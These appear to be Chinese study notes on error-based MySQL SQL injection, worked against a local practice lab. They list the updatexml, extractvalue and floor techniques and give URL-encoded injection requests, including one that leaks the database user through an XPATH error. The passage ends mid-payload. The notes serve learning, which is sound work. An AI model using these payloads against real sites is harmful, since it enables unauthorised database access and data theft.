1.什么是报错注入
mysql_error
2.我们在什么情况下使用报错注入
在页面返回连错错误信息的时候
3.函数
updatexml //5.1版本以上使用
extrachvalue
floor //5.0版本之前也可以使用
请求:http://localhost/Less-1/index.php?id=1%27 // %27是英文单引号的url编码,是被浏览器自动编码的 %20 是空格
返回:1' LIMIT 0,1
http://localhost/Less-1/index.php?id=1%27%20and%201=1--%2011 条件成立 有数据返回
http://localhost/Less-1/index.php?id=1%27%20and%201=2--%2011 条件不成立 无数据返回
请求:http://localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,(select%20user()),1)--%2011
返回:XPATH syntax error: '@localhost' 完整的 应该是 xxx@localhost
concat 连接
请求:http://localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,concat(0x3a,(select